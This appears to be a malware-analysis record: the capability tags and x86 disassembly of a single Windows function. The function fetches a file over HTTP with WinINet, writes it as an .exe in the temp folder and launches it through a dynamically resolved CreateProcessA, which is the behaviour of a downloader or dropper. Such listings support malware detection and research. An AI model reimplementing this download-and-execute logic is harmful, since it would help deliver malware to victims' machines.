Function at 0x10003415
Capabilities:
Connect to http server
Create http request
Download and write a file
Get common file path
Read data from internet
Receive and write data from server to client
Receive data
Send data
Send http request
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14c
push ebx
push edi
push 0xf
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0xf7]
mov byte [ebp - 0xf8], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0xf
xor eax, eax
pop ecx
lea edi, [ebp - 0x97]
mov byte [ebp - 0x98], bl
mov dword [ebp - 0x10], ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x98]
push eax
lea eax, [ebp - 0xf8]
push eax
push str._s__s
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_sscanf]
add esp, 0x10
cmp eax, 2
je 0x10003485
push 0x124f80
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1000370b
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
push ebx
push ebx
push ebx
push 0x100113a8
call dword [sym.imp.WININET.dll_InternetOpenA]
cmp eax, ebx
mov dword [ebp + 8], eax
jne 0x100034b1
push 0x927c0
call edi
jmp 0x10003492
push ebx
push 0x400000
mov eax, 0x100115ac
push 3
push eax
push eax
lea eax, [ebp - 0xf8]
push ebx
push eax
push dword [ebp + 8]
call dword [sym.imp.WININET.dll_InternetConnectA]
cmp eax, ebx
mov dword [ebp - 0xc], eax
je 0x10003526
push ebx
push 0x4000000
push 0x10006020
push ebx
lea ecx, [ebp - 0x98]
push str.HTTP_1.1
push ecx
push 0x10006134
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
cmp eax, ebx
mov dword [ebp - 4], eax
jne 0x1000350d
push dword [ebp + 8]
call esi
push dword [ebp - 0xc]
jmp 0x10003529
push ebx
push ebx
push ebx
push ebx
push eax
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
jne 0x10003530
push dword [ebp - 4]
call esi
push dword [ebp - 0xc]
call esi
push dword [ebp + 8]
call esi
jmp 0x100034a8
lea eax, [ebp - 0x18]
push ebx
push eax
lea eax, [ebp - 0xb8]
push eax
push 5
push dword [ebp - 4]
mov dword [ebp - 0x18], 0x20
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
lea eax, [ebp - 0xb8]
push eax
call dword [sym.imp.MSVCRT.dll_atol]
mov edi, eax
lea eax, [edi + 1]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 0x14], eax
pop ecx
lea ecx, [ebp - 0x10]
push ecx
push edi
push eax
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_InternetReadFile]
cmp dword [ebp - 0x10], ebx
je 0x100036fb
mov al, byte [0x100115ac]
push 0xf
mov byte [ebp - 0x58], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x57]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x58]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x58]
push 0x40
push eax
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.KERNEL32.dll_GetLongPathNameA]
lea eax, [ebp - 0x58]
push 0x10006130
push eax
call sub.MSVCRT.dll_strcat
mov edi, dword [sym.imp.MSVCRT.dll_strrchr]
lea eax, [ebp - 0x98]
push 0x2f
push eax
call edi
add esp, 0x10
test eax, eax
je 0x100035f5
lea eax, [ebp - 0x98]
push 0x2f
push eax
call edi
inc eax
push eax
lea eax, [ebp - 0x58]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
jmp 0x10003607
lea eax, [ebp - 0x98]
push eax
lea eax, [ebp - 0x58]
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
lea eax, [ebp - 0x58]
push 0x2e
push eax
call edi
pop ecx
test eax, eax
pop ecx
je 0x10003621
lea eax, [ebp - 0x58]
push 0x2e
push eax
call edi
pop ecx
mov byte [eax], bl
pop ecx
lea eax, [ebp - 0x58]
push str..exe
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x58]
push 0x10006124
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 0x10
cmp eax, ebx
mov dword [ebp - 8], eax
je 0x100036fb
mov eax, dword [ebp - 0x10]
push eax
mov dword [0x1000d470], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push dword [0x1000d470]
mov edi, eax
push ebx
push edi
call sub.MSVCRT.dll_memset
push edi
push dword [ebp - 0x14]
call fcn.1000370f
mov eax, dword [0x1000d470]
push dword [ebp - 8]
add eax, 0xfffffff9
push eax
push 1
push edi
call dword [sym.imp.MSVCRT.dll_fwrite]
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push dword [ebp - 8]
call dword [sym.imp.MSVCRT.dll_fflush]
push dword [ebp - 8]
call dword [sym.imp.MSVCRT.dll_fclose]
push 0x44
lea eax, [ebp - 0x14c]
pop edi
push edi
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0x40
mov dword [ebp - 0x14c], edi
mov word [ebp - 0x11c], bx
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.CreateProcessA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x108]
push ecx
lea ecx, [ebp - 0x14c]
push ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
lea ecx, [ebp - 0x58]
push ebx
push ecx
call eax
push dword [ebp - 0x14]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
push dword [ebp - 4]
call esi
push dword [ebp - 0xc]
call esi
push dword [ebp + 8]
call esi
pop esi
pop edi
pop ebx
leave
ret